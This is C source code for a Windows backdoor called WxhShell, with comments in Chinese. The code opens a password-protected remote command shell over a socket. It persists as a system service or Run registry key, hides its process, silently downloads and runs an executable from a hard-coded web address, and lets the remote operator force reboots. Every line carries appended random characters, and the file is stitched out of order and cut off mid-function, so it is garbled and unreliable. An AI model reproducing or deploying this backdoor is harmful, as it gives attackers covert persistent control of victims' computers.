    if(Boot(SHUTDOWN)) [$F*R@,&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +&dkJ 4g[  
    else { UZs'H"K  
    closesocket(wsh); 2C1NDrS;}  
    ExitThread(0); nEPTTp+B  
    } |?]doBm|  
    break; e0#t  
    } K9]zUe&#w  
  // 获取shell hzU(XW  
  case 's': { MMUlA$*t  
    CmdShell(wsh); =ZO lE|4  
    closesocket(wsh); ~ivOSr7s}  
    ExitThread(0); CB X}_]9X  
    break; eco&!R[G  
  } &r,)4q+  
  // 退出 0m=57c$O  
  case 'x': { i"=lxqWeaV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +xgP&nw[-  
    CloseIt(wsh); Ni%@bU $  
    break; GwfCl{l  
    } MTN*{ug2:  
  // 离开 }'faf{W  
  case 'q': { nt+OaXe5D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i(OeE"YA  
    closesocket(wsh); z{FFTb^B  
    WSACleanup(); V#b=mp  
    exit(1); J3(E{w8Q  
    break; ,QpFVlPU  
        } n I&p.i6  
  } znPh7{|<  
  } 7(oA(l1V  
3kk^hvB+f  
  // 提示信息 "wuO[c&%/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N>,`TsUwW  
} pkae91  
  } #9Jr?K43  
qv}ECQ  
  return; HsUh5;  
} .}v" `>x  
."=%]l 0  
// shell模块句柄 z#ki# o  
int CmdShell(SOCKET sock) E>f{j:M  
{ 2%L`b"9}V  
STARTUPINFO si; \@WVeFr  
ZeroMemory(&si,sizeof(si)); HZZZ [km  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1YJ?Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @4D{lb"{  
PROCESS_INFORMATION ProcessInfo; u '/)l}  
char cmdline[]="cmd"; 0 p ?AL=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HKJBR)T  
  return 0; xO Aq!,|V  
} 80_w_i+  
\~z$'3H`  
// 自身启动模式 6% ofS8 [  
int StartFromService(void) ^/#G,MxNy  
{ 4xr^4\ lk  
typedef struct zfv@<'  
{ kY'Wf`y(  
  DWORD ExitStatus; X-_VuM_p  
  DWORD PebBaseAddress; VQ| {Q}  
  DWORD AffinityMask; 8cG`We8l&  
  DWORD BasePriority; 0VSIyG_Z  
  ULONG UniqueProcessId; Xd5s8C/}  
  ULONG InheritedFromUniqueProcessId; 3 dJ362  
}   PROCESS_BASIC_INFORMATION; [M,4qe8,}  
WV.hQX9P  
PROCNTQSIP NtQueryInformationProcess; $x+7.%1m)~  
)=d)j^ t9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h !K" ;qw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g:a[N%[C  
HXSryjF?  
  HANDLE             hProcess; hN6wp_  
  PROCESS_BASIC_INFORMATION pbi; l^nvwm`f#:  
RuIBOo\XL7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }Le]qoW['  
  if(NULL == hInst ) return 0; xh$yXP0/  
&C+2p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [B+F}Q^;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R|M]mwa^w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | U"fhG=g  
ufIvvZ*  
  if (!NtQueryInformationProcess) return 0; 4n6AK`E  
jIT|Kk&]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !zF0 7.(E  
  if(!hProcess) return 0; 9QXsbd6  
X5[vQ3^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {qi #  
{+hABusq  
  CloseHandle(hProcess); " WQ6[;&V  
W1X3ArP]m8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $j\>T@  
if(hProcess==NULL) return 0; UIyLtoxu  
[YULvWAJ  
HMODULE hMod; xm1di@  
char procName[255]; M.t,o\xl  
unsigned long cbNeeded; 5)T[ha77u  
V<S6 a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qS @3:R  
heou\;GI"  
  CloseHandle(hProcess); [BD`h  
mI,lW|/l,  
if(strstr(procName,"services")) return 1; // 以服务启动  5)'Y\~2  
Y Z+G7D>  
  return 0; // 注册表启动  yP+<kv4  
} 2} pZyS  
~nU9j"$  
// 主模块 b.RU%Y#>\  
int StartWxhshell(LPSTR lpCmdLine) (FApkvy  
{ f;BY%$  
  SOCKET wsl; j AOy3c  
BOOL val=TRUE; lr~ |=}^  
  int port=0; 4z( B`t~7  
  struct sockaddr_in door; xH:L6K/c  
81:%Z&?vRl  
  if(wscfg.ws_autoins) Install(); eZ(ThA*2=t  
ub~ t}  
port=atoi(lpCmdLine); l$\2|D  
PB$beQ  
if(port<=0) port=wscfg.ws_port; 3{?X>6T  
-_t4A *  
  WSADATA data;  d=^QK{8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !;|#=A9  
mP }<{oh`x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >4luZnWMI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 56<UxIa~  
  door.sin_family = AF_INET; 4E5;wH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9&f+I@K  
  door.sin_port = htons(port); a)pc+w#  
07:V[@'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #;ObugY,  
closesocket(wsl); Tph^o^  
return 1; e`g+Jf`AT  
} ?j/FYi  
)m;*d7l~p  
  if(listen(wsl,2) == INVALID_SOCKET) { 7ihcjyXB  
closesocket(wsl); o{#aF=`{  
return 1; v(yJGEf0  
} 9zqo!&  
  Wxhshell(wsl); UU>+b:  
  WSACleanup(); <`pNdy4  
!xck ~EAS  
return 0; yZNG>1 N  
b-VtQ%Q  
} <{k{Coy  
]>(pj9)  
// 以NT服务方式启动 !hq*WtIk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GB Yy^wjU  
{ T}^3Re`i  
DWORD   status = 0; yYJ_;Va  
  DWORD   specificError = 0xfffffff; * rlV E  
 *1["x;A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tWy.Gz\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EB!ne)X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 37kFbR@x  
  serviceStatus.dwWin32ExitCode     = 0; Wx]Xa]-  
  serviceStatus.dwServiceSpecificExitCode = 0; f}2}Ta  
  serviceStatus.dwCheckPoint       = 0; /Z?o%/bw:  
  serviceStatus.dwWaitHint       = 0; j8Z;}Ps  
9qCE{ [(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3,q?WH%_  
  if (hServiceStatusHandle==0) return; J78.-J5 j0  
1Mp-)-e  
status = GetLastError(); 8Y`g$2SZ^8  
  if (status!=NO_ERROR) M;<!C%K>  
{ 7u&l]NC?y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8_4!Ar>2  
    serviceStatus.dwCheckPoint       = 0; .kFO@:  
    serviceStatus.dwWaitHint       = 0; O>pX(DS L  
    serviceStatus.dwWin32ExitCode     = status; bC:sd2s  
    serviceStatus.dwServiceSpecificExitCode = specificError; sPZwA0%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #<[&Lw  
    return; 7oF3^K'S  
  } 6:|;O  
d*s*AV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 34!.5^T  
  serviceStatus.dwCheckPoint       = 0; WcqR; Nm  
  serviceStatus.dwWaitHint       = 0; QG?!XWz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -(?/95 Y  
} RBf#5VjOG!  
}p6]az3  
// 处理NT服务事件,比如:启动、停止 Jyg1z,B <  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w*XM*yJHU  
{ mM&P&mz/D  
switch(fdwControl) GalSqtbmDt  
{ ^L $`)Ja  
case SERVICE_CONTROL_STOP: w;ZT-Fti  
  serviceStatus.dwWin32ExitCode = 0; k"cMAu.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +'g O%^{l  
  serviceStatus.dwCheckPoint   = 0; ,zx{RDI  
  serviceStatus.dwWaitHint     = 0; ?[ )}N _o#  
  { 6 agG*x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + GQ{{B  
  } z[J=WI  
  return; xK_UkB-$i  
case SERVICE_CONTROL_PAUSE: V WZpEi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G@ ot^n3  
  break; UZs '[pm)  
case SERVICE_CONTROL_CONTINUE: &T,,fz$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'e]>lRZ  
  break; y%%VJ}'X!  
case SERVICE_CONTROL_INTERROGATE: 3>VL>;75[  
  break; ek<B=F  
}; K!CVS7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7I w^  
} n+sv2Wv:  
eG(YORkR  
// 标准应用程序主函数 Sc{&h8KMTb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wp1O*)/q  
{ X8Z) W?vu  
D+uo gRS61  
// 获取操作系统版本 vaF1e:(  
OsIsNt=GetOsVer(); " J9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jGo%Aase  
E va&/o?P|  
  // 从命令行安装 gD)M7`4  
  if(strpbrk(lpCmdLine,"iI")) Install(); i/_rz.c~3  
I>.pkf<V  
  // 下载执行文件 Ag0w8F  
if(wscfg.ws_downexe) { |GQq:MB;z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =Ks&m4  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ux',ma1JK  
} geK;r0(f  
PH%t#a!j3/  
if(!OsIsNt) { }\<=B%{  
// 如果时win9x,隐藏进程并且设置为注册表启动 )2y [#Blo  
HideProc(); Y S7lB  
StartWxhshell(lpCmdLine); UUWRC1EtI  
} e}2?)B`[  
else ~`e!$=  
  if(StartFromService()) g0biw?  
  // 以服务方式启动 y]{b4e  
  StartServiceCtrlDispatcher(DispatchTable); U>!TM##1QD  
else Y~*p27@fR  
  // 普通方式启动 <fBJ@>  
  StartWxhshell(lpCmdLine); M/W9"N[ta  
_hV34:1F  
return 0; <FkaH8,7  
} P51cEhf  
? 3DFm  
RvA "ug.*  
$9\8?gS  
=========================================== qh>An;:u  
`_LQs9J0J  
~ a 2A"#f  
(BH<\&yHE  
rV"3oM]Lo  
[r 7Hcb  
" tlO=>  
FP{=b/  
#include <stdio.h> Jityb}Z"  
#include <string.h> oD2! [&  
#include <windows.h> .mrv"k\<  
#include <winsock2.h> $H@   
#include <winsvc.h> hs+)a%A3G  
#include <urlmon.h> 4 w*m]D{  
4Kj 8 i  
#pragma comment (lib, "Ws2_32.lib") a m5;B`}q  
#pragma comment (lib, "urlmon.lib") @+~URIG)  
=\ 8 x  
#define MAX_USER   100 // 最大客户端连接数 3?aM\z;  
#define BUF_SOCK   200 // sock buffer =1>G * ,  
#define KEY_BUFF   255 // 输入 buffer s +S6'g--  
8}[<3K%*g  
#define REBOOT     0   // 重启 ,>(X}Q  
#define SHUTDOWN   1   // 关机 2@_3V_  
(@T{ [\  
#define DEF_PORT   5000 // 监听端口 s0_HMP x  
pT+OPOSR  
#define REG_LEN     16   // 注册表键长度 o\tw)_ >  
#define SVC_LEN     80   // NT服务名长度 _G4 U  
+{6:]  
// 从dll定义API e"EGqn&!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3k_\ xQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #Z]Cq0=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #l) o<Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NV{= tAR  
\A!I ln  
// wxhshell配置信息 _,F\%}  
struct WSCFG { #.]W>hN8\  
  int ws_port;         // 监听端口 Y._ACQG3  
  char ws_passstr[REG_LEN]; // 口令 yIpgZ0:h  
  int ws_autoins;       // 安装标记, 1=yes 0=no H^B,b !5i  
  char ws_regname[REG_LEN]; // 注册表键名 JeVbFZ8  
  char ws_svcname[REG_LEN]; // 服务名 U;ujN8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `K$;K8!1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'Q7t5v@FF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *mn9CVZ(}M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =<M>fJ)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qoph#\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YuoErP=P  
(ux9"r^g;x  
}; <#Fex'4  
v7+|G'8M`  
// default Wxhshell configuration ]t17= Lr?  
struct WSCFG wscfg={DEF_PORT, DB jUHirK  
    "xuhuanlingzhe", UK8k`;^KI  
    1, N1n\tA?  
    "Wxhshell", Pa; *%7  
    "Wxhshell", _{B2z[G}  
            "WxhShell Service", jt @2S  
    "Wrsky Windows CmdShell Service", x)q$.u+  
    "Please Input Your Password: ", !"08TCc<  
  1, \"yR[.Q?   
  "http://www.wrsky.com/wxhshell.exe", H?ue!5R#L  
  "Wxhshell.exe" )5<dmK@  
    }; M-!#-l  
s.Mrd~(Drz  
// 消息定义模块 b?9'-hK<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >X>]QMfh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0eCjK.   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hg+;!|ha  
char *msg_ws_ext="\n\rExit."; 5(\[Gke  
char *msg_ws_end="\n\rQuit."; i-k(/Y0  
char *msg_ws_boot="\n\rReboot..."; m1p% ,  
char *msg_ws_poff="\n\rShutdown..."; at3YL[,[Z  
char *msg_ws_down="\n\rSave to "; Z\?!& &  
p7*7V.>X  
char *msg_ws_err="\n\rErr!"; BIvz55g  
char *msg_ws_ok="\n\rOK!"; ;ov}%t>UD  
x||b :2  
char ExeFile[MAX_PATH]; +@rc(eOwvN  
int nUser = 0; D{t0OvQag  
HANDLE handles[MAX_USER]; 2[Qzx%Vp  
int OsIsNt; z8};(I>)  
>R/^[([;]  
SERVICE_STATUS       serviceStatus; /#xYy^`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SYOU &*  
Y}x_ud,  
// 函数声明 6>EoU-YX}l  
int Install(void); Hp fTuydU  
int Uninstall(void); G~4|]^`g  
int DownloadFile(char *sURL, SOCKET wsh); y+VR D  
int Boot(int flag); AkqGk5e ^  
void HideProc(void); tkix@Q!;\  
int GetOsVer(void); -g vS 3`lX  
int Wxhshell(SOCKET wsl); Od]wh  
void TalkWithClient(void *cs); ]<O -  
int CmdShell(SOCKET sock); l}Vg;"1'J  
int StartFromService(void); *\wf(o>Q  
int StartWxhshell(LPSTR lpCmdLine); 4_Rv}Y d  
W!Rr_'yFe)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9**u\H)P6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h6Hop mWVx  
*;(GL  
// 数据结构和表定义 e}"k8 ./  
SERVICE_TABLE_ENTRY DispatchTable[] = _k W:FB  
{ <=~'Pd-f(  
{wscfg.ws_svcname, NTServiceMain},  M Xl!  
{NULL, NULL} `JG7Pl/ih  
}; Yf^/YLLS  
=~QC)y_  
// 自我安装 [6Nzz]yy  
int Install(void) }(if|skau  
{ 4> [tjz.?k  
  char svExeFile[MAX_PATH]; qv+}|+aL:  
  HKEY key; t+SLU6j,  
  strcpy(svExeFile,ExeFile); c\eT`.ENk  
3_k3U  
// 如果是win9x系统,修改注册表设为自启动 1^=[k  
if(!OsIsNt) { X 7"hTD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cE]#23  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `r8bBzr@%  
  RegCloseKey(key); QWxl$%`89<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6NqLo^ "g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k+&1?]   
  RegCloseKey(key); ]z/  
  return 0; &28n1  
    } _N`pwxpsb  
  } / k8;k56  
} &($Zs'X  
else { h!>NS ?X7  
4&LoE~  
// 如果是NT以上系统,安装为系统服务 lf9_!`DGV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^l/$ 13=  
if (schSCManager!=0) ud.Bzg:/  
{  =!Y{Mz  
  SC_HANDLE schService = CreateService ,o j\=2  
  ( _A/ ]m4  
  schSCManager, ) N"gW*  
  wscfg.ws_svcname, TS<uBX  
  wscfg.ws_svcdisp, cM'5m  
  SERVICE_ALL_ACCESS, }tT*Ch?u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P1l@K2r  
  SERVICE_AUTO_START, ETVT.R8   
  SERVICE_ERROR_NORMAL, Mky8qVQ2  
  svExeFile, Uyyw'Ni  
  NULL, 5Gsj;   
  NULL, Iq[,)$  
  NULL, )Z 3fytY  
  NULL, .el_pg  
  NULL /`Lki>"  
  ); DP_ bB(  
  if (schService!=0) Gu_Rf&:  
  { [%8+Fa~Wa  
  CloseServiceHandle(schService); 8Lpy`He  
  CloseServiceHandle(schSCManager); ZvO:!u0+"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kn9 ,N@bU_  
  strcat(svExeFile,wscfg.ws_svcname); a[8_ O-   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fk,3th  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h(G(U_V-Od  
  RegCloseKey(key); v+=_  
  return 0; ),6Z1 K1  
    } rbP3&L  
  } X|wXTecg*|  
  CloseServiceHandle(schSCManager); 6%_d m'  
} QrPWS-3~!  
} } q ? iJ?P  
9aC>gye!  
return 1; t>v']a +k  
} /aJl0GL4!  
BWX&5""  
// 自我卸载 4p~:(U[q  
int Uninstall(void) %GS)9{T&  
{ MU&5&)m  
  HKEY key; Ck.GN<#-^P  
Ec6{?\  
if(!OsIsNt) { 1|cmmUM-'v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gf'V68,l$  
  RegDeleteValue(key,wscfg.ws_regname); ^j=_=Km]  
  RegCloseKey(key); .[Sv|;x"E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n5]<|>U vx  
  RegDeleteValue(key,wscfg.ws_regname); "5jZS6A]  
  RegCloseKey(key); oaBfq8,;  
  return 0;  "rjJ"u 1  
  } \^-3)*r  
} SqTm/ t  
} xG}eiUbM`  
else { "3j0)  
up2%QbN(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U.6hLFcE  
if (schSCManager!=0) d=4MqX r  
{ T8hQ< \g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ld@f:Zali  
  if (schService!=0) kkOYC?zE?  
  { oG*lU h}  
  if(DeleteService(schService)!=0) { eNNgxQw>m  
  CloseServiceHandle(schService); 8w*fg6,=  
  CloseServiceHandle(schSCManager); t583Q/1@  
  return 0; FUcs=7c  
  } ga~vQ7I_  
  CloseServiceHandle(schService); @g=A\2  
  } )v-* WreS  
  CloseServiceHandle(schSCManager); (wY% $kW4  
} Vi?Z`G]w!  
} 8m*\"_S{  
s{: Mu~v  
return 1; gaCGU<L  
} Z?Q2ed*j  
 7:p]~eM)  
// 从指定url下载文件 XWUT b\@  
int DownloadFile(char *sURL, SOCKET wsh) m5x>._7le  
{ YI|G pq  
  HRESULT hr; (7wR*vO^  
char seps[]= "/"; =}"hC`3e  
char *token; 1Ev+':%  
char *file; RYhdf  
char myURL[MAX_PATH]; bn(Scl#@K  
char myFILE[MAX_PATH]; Sd\@Q% }o\  
0$_imjZ  
strcpy(myURL,sURL); Q:Ms D.  
  token=strtok(myURL,seps); }-Ma ~/  
  while(token!=NULL) aw4+1.xy  
  { /&|pXBY$;  
    file=token; -*Pt781  
  token=strtok(NULL,seps); 1*jL2P]D  
  } %7@H7^s}9  
gdZVc9 _  
GetCurrentDirectory(MAX_PATH,myFILE); B*AMo5  
strcat(myFILE, "\\"); w:LCm `d  
strcat(myFILE, file); .5ycO  
  send(wsh,myFILE,strlen(myFILE),0); [ O)Zof  
send(wsh,"...",3,0); *Fc&DQT(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k:qou})#4  
  if(hr==S_OK) ).S<{zm7  
return 0; ,Ex\\p-  
else hpyre B  
return 1;  0EB'!  
stG&(M  
} 5q#|sVT7R  
3d<HIG^W}  
// 系统电源模块 `;qZ$HH  
int Boot(int flag) D6oby*_w  
{ T> 'Vaxo  
  HANDLE hToken; IjRmpVcwN  
  TOKEN_PRIVILEGES tkp; -Mvw'#(0  
 e C{Z  
  if(OsIsNt) { y~=hM   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kC5,yj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |K-lg rA  
    tkp.PrivilegeCount = 1; |*NrS<"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8'[wa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M!l5,ycF  
if(flag==REBOOT) { (R<4"QbE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fYjsSUnf  
  return 0; F?ebY k1  
} 1Qu,]i`  
else { UhTr<(@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `6$b1qv,  
  return 0; 7qz-RF#s8  
} wg.fo:Q  
  } n1>nnH]G  
  else { ')-(N um  
if(flag==REBOOT) { 7uxPkZbb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I yN9 +  
  return 0; \>`$x:  
} ^z;,deoGh  
else { d@4!^vD;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vxT"BvN  
  return 0; <'_GQM`G  
} %Nl(Y@dD*  
} 26VdRy{[  
;j>d"i36&  
return 1; 8#u_+;,p  
} BQ:Kx_   
4Z9 3 g {  
// win9x进程隐藏模块 ] *VF Ws  
void HideProc(void) 73ljW  
{ )o</gt)  
2rtP.*dd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :fVMM7  
  if ( hKernel != NULL ) Z;'.pU~  
  { }t3FAy(%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G)Bq?=P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k1U8wdoT  
    FreeLibrary(hKernel); J8BT%  
  } o=# [^Zv  
~*c=  
return; tB=D&L3  
} mh7sY;SvM  
W.D3$  
// 获取操作系统版本 -b0'Q  
int GetOsVer(void) Z"|P(]A  
{ AE4~M`6D  
  OSVERSIONINFO winfo; GR[>mkW!M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &N_c-@2O  
  GetVersionEx(&winfo); [Um4\QvUx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j~*Z7iu  
  return 1; kz;_f  
  else :U.)YHY  
  return 0; H"rzRd; S  
} >[fVl 8G_0  
:+Q"MIU  
// 客户端句柄模块 Cm;qDvj+u  
int Wxhshell(SOCKET wsl) xhkWKB/7  
{ i;hc]fYb=K  
  SOCKET wsh; IPR tm!  
  struct sockaddr_in client; _d| 62VS  
  DWORD myID; 71"JL",  
Y0B1xL@  
  while(nUser<MAX_USER) 4<Sa,~4  
{ 0yC`9g)(  
  int nSize=sizeof(client); 2ZG1n#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MhI)7jj`mt  
  if(wsh==INVALID_SOCKET) return 1; /4 LR0`A'  
RYZE*lWUh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n?LIphc\  
if(handles[nUser]==0) Kxl,] |e>  
  closesocket(wsh); R=?po=  
else {rvbo1t  
  nUser++; uo4$rf7  
  } #>:(#^Uu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [)SR $/A  
7ITl3>  
  return 0; d$_q=ywc  
} x]R(twi  
?S&w0}R  
// 关闭 socket U7"BlT!V\  
void CloseIt(SOCKET wsh) @\T;PTD-  
{ >GznG[Ku  
closesocket(wsh); (HaKF7Jsi  
nUser--; +|?|8"Qg  
ExitThread(0); r[v-?W'  
} %]<RRH.w  
5{FM#@  
// 客户端请求句柄 uPFHlT  
void TalkWithClient(void *cs) .b#9q6F-/  
{ PNJe&q0*  
&=-e`=qJ'6  
  SOCKET wsh=(SOCKET)cs; fNqmTRu  
  char pwd[SVC_LEN]; P YF.#@":&  
  char cmd[KEY_BUFF]; Aa`MK$29F  
char chr[1]; wt}%2x} x  
int i,j; qqe2,X?  
N2tkCkl^x9  
  while (nUser < MAX_USER) { ~n/Aq*  
3Rd`Ysp  
if(wscfg.ws_passstr) { {M@@)27gW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _;e!ZZLG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^S#\O>GHP  
  //ZeroMemory(pwd,KEY_BUFF); p/hvQy E  
      i=0; *^D@l%av;  
  while(i<SVC_LEN) { b4v(k(<  
W]O@DS zR  
  // 设置超时 7!r#(>I6?1  
  fd_set FdRead; Q=(@K4  
  struct timeval TimeOut; v_z..-7Dq+  
  FD_ZERO(&FdRead); Ak6MPuBB-  
  FD_SET(wsh,&FdRead); x7.QL?qR.  
  TimeOut.tv_sec=8; Z cm<Fw  
  TimeOut.tv_usec=0; xJ~ gT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _r\$NgJIM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D1X4|Q*SK  
$Ns,ts(ng  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [7gYd+s  
  pwd=chr[0]; hj&fQ}X  
  if(chr[0]==0xd || chr[0]==0xa) { N-2([v  
  pwd=0; j0iAU1~_VX  
  break; X>Al:?`}N  
  } 9c6czirwR^  
  i++; .hX0c"f]b  
    } #ya\Jdx   
E dn[cH7  
  // 如果是非法用户,关闭 socket T- |9o|~z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \.H9$C$  
} fB~O |g  
]*N:;J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e Om< !H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vd+td;9(  
p}3NJV  
while(1) { ZfPd0 p  
;} lT  
  ZeroMemory(cmd,KEY_BUFF); bLgL0}=n  
Q2/MnM  
      // 自动支持客户端 telnet标准   7tSJniB  
  j=0; S!;L F4VA  
  while(j<KEY_BUFF) { q,B3ru.?d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p%q.*trUb9  
  cmd[j]=chr[0]; Vb@ 4(Q  
  if(chr[0]==0xa || chr[0]==0xd) { 0K<x=-cCB  
  cmd[j]=0; Ia629gi5s  
  break; UJz#QkAio  
  } &<,SV^w ag  
  j++; HH)"]E5  
    } g(aZT#ii=  
[X,A'Q  
  // 下载文件 QyPg |#T2>  
  if(strstr(cmd,"http://")) { VeZey)Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R?cUy8?'S  
  if(DownloadFile(cmd,wsh)) kdp% !S%2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /X4yB"J>  
  else <lMg\T?K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s%~L4Wmcq  
  } 2fJ{LC  
  else { b~7Jh:%@;  
